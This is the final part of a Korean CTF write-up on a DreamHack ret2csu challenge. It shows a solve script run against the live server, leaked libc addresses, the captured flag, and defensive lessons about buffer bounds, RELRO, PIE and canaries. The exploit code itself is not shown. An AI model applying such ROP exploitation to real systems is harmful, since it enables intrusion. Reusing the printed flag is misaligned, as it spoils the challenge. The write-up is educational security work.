๋กœ์ปฌ ๋„์ปค ๊ฒ€์ฆ โ€” leak ์„ฑ๊ณต ํ›„ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ ํš๋“(๋กœ์ปฌ ์ด๋ฏธ์ง€๋Š” ์‹ค์ œ FLAG ๋Œ€์‹  ํ”Œ๋ ˆ์ด์Šคํ™€๋”๊ฐ€ ๋“ค์–ด์žˆ๋‹ค)
๋กœ์ปฌ ๋„์ปค ๊ฒ€์ฆ โ€” leak ์„ฑ๊ณต ํ›„ ๋”๋ฏธ ํ”Œ๋ž˜๊ทธ ํš๋“(๋กœ์ปฌ ์ด๋ฏธ์ง€๋Š” ์‹ค์ œ FLAG ๋Œ€์‹  ํ”Œ๋ ˆ์ด์Šคํ™€๋”๊ฐ€ ๋“ค์–ด์žˆ๋‹ค)

๋กœ์ปฌ ๊ฒ€์ฆ์ด ๋๋‚˜๋ฉด ๊ทธ๋Œ€๋กœ ์‹ค์ œ ์„œ๋ฒ„ ์ฃผ์†Œ๋งŒ ๋ฐ”๊ฟ” ๋Œ๋ฆฐ๋‹ค.

python3 solve_auto.py HOST=host3.dreamhack.games PORT=18803

๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์‹คํ–‰ โ€” libc leak ํ›„ ์‹ค์ œ FLAG ํš๋“
๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์‹คํ–‰ โ€” libc leak ํ›„ ์‹ค์ œ FLAG ํš๋“

[+] leaked read() = 0x7f8abe640980
[+] libc base = 0x7f8abe52c000
=== OUTPUT ===
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
=== END ===

๋กœ์ปฌ๊ณผ ๋ผ์ด๋ธŒ ๋ชจ๋‘ libc base์˜ ํ•˜์œ„ 12๋น„ํŠธ๊ฐ€ 0x000์œผ๋กœ ๋๋‚˜๋Š” ๊ฒŒ ๋ณด์ธ๋‹ค โ€” ๋ฆฌ๋ˆ…์Šค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ํ•ญ์ƒ ํŽ˜์ด์ง€(0x1000) ๊ฒฝ๊ณ„์— ๋งคํ•‘๋˜๋‹ˆ, read()์˜ ์‹ค์ œ ์ฃผ์†Œ์—์„œ libc.symbols['read'] ์˜คํ”„์…‹์„ ๋นผ๋ฉด ๊ทธ ์ •๋ ฌ์ด ์ •ํ™•ํžˆ ๋งž์•„๋–จ์–ด์ง€๋Š” ๊ฒŒ leak์ด ์„ฑ๊ณตํ–ˆ๋‹ค๋Š” ๋ฐฉ์ฆ์ด๋‹ค.

FLAG: DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}



๐Ÿ“ ๊ฒฐ๋ก 

๊ฐ€์ ฏ์ด "์•ˆ ๋ณด์ธ๋‹ค"๋Š” ๊ฒŒ "์—†๋‹ค"๋Š” ๋œป์€ ์•„๋‹ˆ๋‹ค.

์ด ๋ฌธ์ œ์˜ ํ•ต์‹ฌ์€ ๋‘ ๊ฐ€์ง€๋‹ค. ํ•˜๋‚˜๋Š” pop rdi;ret ํ•˜๋‚˜ ์—†๋Š” ์ž‘์€ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ๋„ __libc_csu_init์ด๋ผ๋Š” ๋ฒ”์šฉ ์ดˆ๊ธฐํ™” ๋ฃจํ‹ด์ด ์‚ฌ์‹ค์ƒ ๋งŒ๋Šฅ gadget ์„ธํŠธ๋กœ ์“ฐ์ธ๋‹ค๋Š” ๊ฒƒ. glibc๊ฐ€ ์ •์ ์œผ๋กœ ๋งํฌํ•˜๋Š” ์ด ๋ฃจํ‹ด์€ ์–ด๋А x86-64 ๋ฐ”์ด๋„ˆ๋ฆฌ์—๋‚˜ ๊ฑฐ์˜ ๋˜‘๊ฐ™์€ ๋ชจ์–‘์œผ๋กœ ์กด์žฌํ•ด์„œ, ret2csu๋Š” ํŠน์ • ๋ฌธ์ œ๊ฐ€ ์•„๋‹ˆ๋ผ ์ผ๋ฐ˜์ ์œผ๋กœ ๊บผ๋‚ด ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋ฒ•์ด๋‹ค.

๋‹ค๋ฅธ ํ•˜๋‚˜๋Š” x86์˜ ๊ฐ€๋ณ€ ๊ธธ์ด ๋ช…๋ น์–ด ๊ตฌ์กฐ ์ž์ฒด๊ฐ€ ๋งŒ๋“œ๋Š” ๊ฐ€์ ฏ์ด๋‹ค. pop rdi;ret์„ "์„ค๊ณ„"ํ•œ ์‚ฌ๋žŒ์€ ์—†์ง€๋งŒ, pop r15์˜ ์˜คํ”ผ์ฝ”๋“œ ๋‘ ๋ฒˆ์งธ ๋ฐ”์ดํŠธ๊ฐ€ ์šฐ์—ฐํžˆ pop rdi์™€ ๊ฐ™์€ ๊ฐ’์ด๋ผ ์›ํ•˜๋Š” ๊ฐ€์ ฏ์ด ๋ช…๋ น์–ด ํ•˜๋‚˜ ์†์— ๊ฒน์ณ ์กด์žฌํ–ˆ๋‹ค. ๋””์Šค์–ด์…ˆ๋ธ”๋Ÿฌ๊ฐ€ ๋ณด์—ฌ์ฃผ๋Š” ๋ช…๋ น ๊ฒฝ๊ณ„๋Š” ์‹คํ–‰ ํ๋ฆ„์ด ๊ทธ ๊ฒฝ๊ณ„๋ฅผ ์ง€ํ‚ฌ ๋•Œ๋งŒ ์œ ํšจํ•˜๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ ์ •๋ฆฌํ•˜๋ฉด:

  • BOF ์ž์ฒด๋ฅผ ๋ง‰๋Š” ๊ฒŒ ์šฐ์„ ์ด๋‹ค. read(0, buf, 0x400)์ฒ˜๋Ÿผ ๋ฒ„ํผ ํฌ๊ธฐ์™€ ๋ฌด๊ด€ํ•œ ๊ธธ์ด๋ฅผ ๋ฐ›์ง€ ๋ง๊ณ , ํ•ญ์ƒ sizeof(buf)๋กœ ์ œํ•œํ•œ๋‹ค. ์นด๋‚˜๋ฆฌยทNXยทASLR์€ ์ „๋ถ€ BOF๊ฐ€ ์ด๋ฏธ ์ผ์–ด๋‚œ ๋‹ค์Œ์˜ ๋ฐฉ์–ด์„ ์ผ ๋ฟ์ด๋‹ค.
  • ๊ฐ€์ ฏ์ด ์•ˆ ๋ณด์ธ๋‹ค๊ณ  ์•ˆ์ „ํ•œ ๊ฒŒ ์•„๋‹ˆ๋‹ค. __libc_csu_init, PLT ์Šคํ…, ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ/์—ํ•„๋กœ๊ทธ ๋“ฑ ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ํ•ญ์ƒ ๋งŒ๋“ค์–ด๋‚ด๋Š” ์ฝ”๋“œ ์กฐ๊ฐ๋งŒ์œผ๋กœ๋„ ์ž„์˜ ํ•จ์ˆ˜ ํ˜ธ์ถœ ์ฒด์ธ์„ ์งค ์ˆ˜ ์žˆ๋‹ค. Full RELRO + PIE + Canary๊ฐ€ ๋™์‹œ์— ๊ฐ–์ถฐ์ ธ์•ผ ์ด๋Ÿฐ ์ฒด์ธ์ด ํ˜„์‹ค์ ์œผ๋กœ ๋ง‰ํžŒ๋‹ค.
  • libc ๋ฒ„์ „์„ ํ˜๋ฆฌ์ง€ ์•Š๋Š” ๊ฒŒ ์ค‘์š”ํ•˜๋‹ค. ์ด๋ฒˆ ๋ฌธ์ œ๋„ ๊ฒฐ๊ตญ 8๋ฐ”์ดํŠธ leak ํ•œ ๋ฒˆ์œผ๋กœ systemยท/bin/sh ์ฃผ์†Œ๊ฐ€ ์ „๋ถ€ ๊ณ„์‚ฐ๋๋‹ค. ์ž„์˜์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ์†Œ์ผ“์œผ๋กœ ๋˜๋Œ๋ ค์ฃผ๋Š” ๋™์ž‘(write, puts, ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์˜ ์ฃผ์†Œ ๋…ธ์ถœ ๋“ฑ)์€ ํ•˜๋‚˜๋งŒ ์žˆ์–ด๋„ ASLR์ด ์‚ฌ์‹ค์ƒ ๋ฌด๋ ฅํ™”๋œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] ์นด๋‚˜๋ฆฌ leak + GOT leak๋กœ ret2main, ๊ทธ๋ฆฌ๊ณ  ret2system โ€” DreamHack rop ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์นด๋‚˜๋ฆฌ leak + GOT leak๋กœ ret2main, ๊ทธ๋ฆฌ๊ณ  ret2system โ€” DreamHack rop ํ’€์ด

์Šคํƒ ์นด๋‚˜๋ฆฌ์— NX๊นŒ์ง€ ์ผœ์ง„ ํด๋ž˜์‹ ROP ๋ฌธ์ œ. ์ž…๋ ฅ ๊ธฐํšŒ๋Š” ๋”ฑ ๋‘ ๋ฒˆ๋ฟ์ด๋ผ ์…ธ์ฝ”๋“œ๋„, ๋‘ ๋ฒˆ์งธ ํŽ˜์ด๋กœ๋“œ๋„ ๋ชป ๋„ฃ๋Š”๋‹ค. ์นด๋‚˜๋ฆฌ๋ฅผ leakํ•œ ๋’ค ์ฒซ ROP ์ฒด์ธ์œผ๋กœ GOT์—์„œ libc ์ฃผ์†Œ๋ฅผ ์ƒˆ๊ณ , ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ main() ์ž์‹ ์œผ๋กœ ๋˜๋Œ๋ ค "์„ธ ๋ฒˆ์งธ ์ž…๋ ฅ"์„ ๋งŒ๋“ค์–ด๋‚ธ ๋‹ค์Œ system("/bin/sh")๋กœ ๋งˆ๋ฌด๋ฆฌํ•œ๋‹ค.
#dreamhack#ctf#pwn+7
2026-07-03#dreamhack +6
[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ์นด๋‚˜๋ฆฌ ํ˜๋ฆฌ๊ณ  system ์œผ๋กœ ๋˜๋Œ์•„๊ฐ€๊ธฐ โ€” DreamHack Return to Library ํ’€์ด

NX ๊ฐ€ ์ผœ์ ธ ์Šคํƒ ์…ธ์ฝ”๋“œ๋ฅผ ๋ชป ์“ฐ๋Š” BOF ๋ฌธ์ œ. ์ฒซ read ๋’ค printf("%s") ๊ฐ€ ์นด๋‚˜๋ฆฌ LSB(\x00) ๋งŒ ๋ฎ์œผ๋ฉด ์ƒ์œ„ 7๋ฐ”์ดํŠธ๋ฅผ ํ˜๋ ค์ค€๋‹ค. ๊ทธ๊ฑธ๋กœ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ณต์›ํ•˜๊ณ , ๋‘ ๋ฒˆ์งธ read ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋กœ pop rdi โ†’ "/bin/sh" โ†’ system@plt ๋กœ ์ด์–ด์ง€๋Š” ret2plt ์ฒด์ธ์„ ์˜ฌ๋ ค ์…ธ์„ ๋„์šด๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฒ˜์Œ์— system ์„ ํ•œ ๋ฒˆ ํ˜ธ์ถœํ•ด ์ค˜์„œ PLT ๊ฐ€ ์ด๋ฏธ ์ฑ„์›Œ์ ธ ์žˆ๋Š” ๊ฒŒ ํฌ์ธํŠธ.
#dreamhack#ctf#pwn+6
2026-06-30#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ 2๋‹จ๊ณ„ ret2libc โ€” DreamHack basic_rop_x86 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ 2๋‹จ๊ณ„ ret2libc โ€” DreamHack basic_rop_x86 ํ’€์ด

์บ๋„ˆ๋ฆฌ๋„ PIE๋„ ์—†๋Š” 32๋น„ํŠธ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ read()์˜ ๊ณ ์ „์ ์ธ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ROP๋กœ ๋‘ ๋ฒˆ ๋‚˜๋ˆ  ๊ณต๋žตํ•œ๋‹ค. write@plt๋กœ write() ์ž์ฒด์˜ GOT ์ฃผ์†Œ๋ฅผ ์ƒˆ์„œ libc ๋ฒ ์ด์Šค๋ฅผ ๊ณ„์‚ฐํ•˜๊ณ , main์œผ๋กœ ๋˜๋Œ์•„๊ฐ€ system("/bin/sh")๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.
#dreamhack#ctf#pwn+4
2026-07-04#dreamhack +5